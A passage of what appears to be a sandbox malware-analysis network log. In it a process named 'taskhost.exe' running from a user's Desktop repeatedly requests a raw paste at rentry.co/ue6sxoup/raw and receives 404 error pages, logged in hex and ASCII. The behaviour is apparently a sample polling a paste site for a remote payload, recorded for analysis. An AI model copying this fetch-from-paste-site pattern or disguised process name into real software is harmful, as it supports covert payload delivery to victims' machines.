2024-12-13 10:49:52 UTC	1369	IN	Data Raw: 2e 6d 61 74 63 68 65 73 20 7c 7c 20 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 64 61 72 6b 2d 6d 6f 64 65 22 29 20 3d 3d 20 22 74 72 75 65 22 29 29 3b 3c 2f 73 63 72 69 70 74 3e 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 63 6f 6e 73 74 20 73 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 20 63 6f 6e 73 74 20 68 6e 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 26 26 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 7c 7c 20 27 72 65 6e 74 72 79 2e 63 6f 27 3b 20 73 63 72 69 70 74 2e 64 65 66 65 72 20 3d 20 74 72 75 65 3b 20 73 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 62 75 Data Ascii: .matches \|\| localStorage.getItem("dark-mode") == "true"));</script>--> <script>const script = document.createElement("script"); const hn = window.location.hostname === 'rentry.org' && 'rentry.org' \|\| 'rentry.co'; script.defer = true; script.setAttribu
2024-12-13 10:49:52 UTC	1226	IN	Data Raw: 20 6d 6f 64 65 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 Data Ascii: mode"></span></div> </div> </div> </div> <script src="/static/js/jquery.min.js?vsson=28"></script> <script src="/static/js/bootstrap.min.js?vsson=28"></script>
2024-12-13 10:49:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49899	104.26.2.16	443	6504	C:\Users\user\Desktop\taskhost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 10:49:56 UTC	71	OUT	GET /ue6sxoup/raw HTTP/1.1 Host: rentry.co Connection: Keep-Alive
2024-12-13 10:49:57 UTC	867	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 10:49:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sQE3rvNcOEy1fYggusv6moikNKFHIH8whOC71ke7HyjlvAZJrGcvpzIuIVpQjVWbpfi6YSP%2FKCd%2BFTp8mzQKxOU6GmFHiWdWHSzyinmYRizVHKm4u0di8O7n6g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1563f26d4d4343-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1703&min_rtt=1696&rtt_var=651&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1662870&cwnd=244&unsent_bytes=0&cid=3686793b86563647&ts=815&x=0"
2024-12-13 10:49:57 UTC	502	IN	Data Raw: 31 31 36 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e Data Ascii: 1163<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" conten
2024-12-13 10:49:57 UTC	1369	IN	Data Raw: 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 72 65 6e 74 72 79 5f 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 35 31 32 2e 70 6e 67 22 20 2f 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e Data Ascii: eta name="twitter:title" content="Rentry.co - Markdown Paste" /> <meta name="twitter:site" content="@rentry_co" /> <meta name="twitter:image" content="https://rentry.co/static/icons/512.png" /> <meta property="og:url" content="https://rentry.
2024-12-13 10:49:57 UTC	1369	IN	Data Raw: 65 73 20 7c 7c 20 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 64 61 72 6b 2d 6d 6f 64 65 22 29 20 3d 3d 20 22 74 72 75 65 22 29 29 3b 3c 2f 73 63 72 69 70 74 3e 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 63 6f 6e 73 74 20 73 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 20 63 6f 6e 73 74 20 68 6e 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 26 26 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 7c 7c 20 27 72 65 6e 74 72 79 2e 63 6f 27 3b 20 73 63 72 69 70 74 2e 64 65 66 65 72 20 3d 20 74 72 75 65 3b 20 73 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 64 61 Data Ascii: es \|\| localStorage.getItem("dark-mode") == "true"));</script>--> <script>const script = document.createElement("script"); const hn = window.location.hostname === 'rentry.org' && 'rentry.org' \|\| 'rentry.co'; script.defer = true; script.setAttribute('da
2024-12-13 10:49:57 UTC	1219	IN	Data Raw: 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 Data Ascii: ></span></div> </div> </div> </div> <script src="/static/js/jquery.min.js?vsson=28"></script> <script src="/static/js/bootstrap.min.js?vsson=28"></script>
2024-12-13 10:49:57 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-12-13 10:49:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49914	104.26.2.16	443	6504	C:\Users\user\Desktop\taskhost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 10:50:01 UTC	47	OUT	GET /ue6sxoup/raw HTTP/1.1 Host: rentry.co
2024-12-13 10:50:02 UTC	867	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 10:50:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H0UUCiFk7O5ndHw%2BlWWNDni8M4LHu7boKi7kxaQqHiRwtcZJB%2BFnYeLb503gOw38NIL1Es8MporO2qFeAUipVxOvnWl5vdwH9YYaVlJEtbVtQJKN5J33Lk6UkQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f156411e9674277-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1563&min_rtt=1554&rtt_var=602&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2816&recv_bytes=685&delivery_rate=1789215&cwnd=191&unsent_bytes=0&cid=8e20a23e1f332c7f&ts=830&x=0"
2024-12-13 10:50:02 UTC	502	IN	Data Raw: 31 31 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e Data Ascii: 1164<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" conten
2024-12-13 10:50:02 UTC	1369	IN	Data Raw: 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 72 65 6e 74 72 79 5f 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 35 31 32 2e 70 6e 67 22 20 2f 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e Data Ascii: eta name="twitter:title" content="Rentry.co - Markdown Paste" /> <meta name="twitter:site" content="@rentry_co" /> <meta name="twitter:image" content="https://rentry.co/static/icons/512.png" /> <meta property="og:url" content="https://rentry.
2024-12-13 10:50:02 UTC	1369	IN	Data Raw: 65 73 20 7c 7c 20 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 64 61 72 6b 2d 6d 6f 64 65 22 29 20 3d 3d 20 22 74 72 75 65 22 29 29 3b 3c 2f 73 63 72 69 70 74 3e 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 63 6f 6e 73 74 20 73 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 20 63 6f 6e 73 74 20 68 6e 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 26 26 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 7c 7c 20 27 72 65 6e 74 72 79 2e 63 6f 27 3b 20 73 63 72 69 70 74 2e 64 65 66 65 72 20 3d 20 74 72 75 65 3b 20 73 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 64 61 Data Ascii: es \|\| localStorage.getItem("dark-mode") == "true"));</script>--> <script>const script = document.createElement("script"); const hn = window.location.hostname === 'rentry.org' && 'rentry.org' \|\| 'rentry.co'; script.defer = true; script.setAttribute('da
2024-12-13 10:50:02 UTC	1220	IN	Data Raw: 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 Data Ascii: ></span></div> </div> </div> </div> <script src="/static/js/jquery.min.js?vsson=28"></script> <script src="/static/js/bootstrap.min.js?vsson=28"></script>
2024-12-13 10:50:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49926	104.26.2.16	443	6504	C:\Users\user\Desktop\taskhost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 10:50:06 UTC	71	OUT	GET /ue6sxoup/raw HTTP/1.1 Host: rentry.co Connection: Keep-Alive
2024-12-13 10:50:06 UTC	867	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 10:50:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3CFKKMVz4bSOrNRs%2FmzvgSmPPJEL6XVHIMmMHisHQhMpkc9teMFf%2BHu5S8ZvomhsA4sbeXHNFP7QfF06ocHmRbB63KjAMeueo8aIfrXcfLb6617XVTqfhRxjyw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f15642f98c84332-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1730&min_rtt=1723&rtt_var=660&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2818&recv_bytes=685&delivery_rate=1640449&cwnd=113&unsent_bytes=0&cid=b3df73c5d50b549e&ts=591&x=0"
2024-12-13 10:50:06 UTC	502	IN	Data Raw: 31 31 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e Data Ascii: 1164<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" conten
2024-12-13 10:50:06 UTC	1369	IN	Data Raw: 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 72 65 6e 74 72 79 5f 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 35 31 32 2e 70 6e 67 22 20 2f 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e Data Ascii: eta name="twitter:title" content="Rentry.co - Markdown Paste" /> <meta name="twitter:site" content="@rentry_co" /> <meta name="twitter:image" content="https://rentry.co/static/icons/512.png" /> <meta property="og:url" content="https://rentry.
2024-12-13 10:50:06 UTC	1369	IN	Data Raw: 65 73 20 7c 7c 20 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 64 61 72 6b 2d 6d 6f 64 65 22 29 20 3d 3d 20 22 74 72 75 65 22 29 29 3b 3c 2f 73 63 72 69 70 74 3e 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 63 6f 6e 73 74 20 73 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 20 63 6f 6e 73 74 20 68 6e 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 26 26 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 7c 7c 20 27 72 65 6e 74 72 79 2e 63 6f 27 3b 20 73 63 72 69 70 74 2e 64 65 66 65 72 20 3d 20 74 72 75 65 3b 20 73 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 64 61 Data Ascii: es \|\| localStorage.getItem("dark-mode") == "true"));</script>--> <script>const script = document.createElement("script"); const hn = window.location.hostname === 'rentry.org' && 'rentry.org' \|\| 'rentry.co'; script.defer = true; script.setAttribute('da
2024-12-13 10:50:06 UTC	1220	IN	Data Raw: 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 Data Ascii: ></span></div> </div> </div> </div> <script src="/static/js/jquery.min.js?vsson=28"></script> <script src="/static/js/bootstrap.min.js?vsson=28"></script>
2024-12-13 10:50:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49937	104.26.2.16	443	6504	C:\Users\user\Desktop\taskhost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 10:50:10 UTC	47	OUT	GET /ue6sxoup/raw HTTP/1.1 Host: rentry.co
2024-12-13 10:50:11 UTC	871	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 10:50:11 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xhQwP1TvntwpwWtpbh2DORkRDj20wCv4AJa8J%2FthvkBW14z8X%2Fr8%2BP%2F3wGKXBBT5YWfwcih5X6mr9meOiP6iErTPnsgFHQGAKO2U2iPtWMECOLzMqKzL6jnt6Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f15644a2bdc438c-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1698&min_rtt=1692&rtt_var=648&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1671436&cwnd=245&unsent_bytes=0&cid=8982980756dbdc27&ts=580&x=0"
2024-12-13 10:50:11 UTC	498	IN	Data Raw: 31 31 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e Data Ascii: 1164<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" conten
2024-12-13 10:50:11 UTC	1369	IN	Data Raw: 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 72 65 6e 74 72 79 5f 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 35 31 32 2e 70 6e 67 22 20 2f 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e Data Ascii: <meta name="twitter:title" content="Rentry.co - Markdown Paste" /> <meta name="twitter:site" content="@rentry_co" /> <meta name="twitter:image" content="https://rentry.co/static/icons/512.png" /> <meta property="og:url" content="https://ren
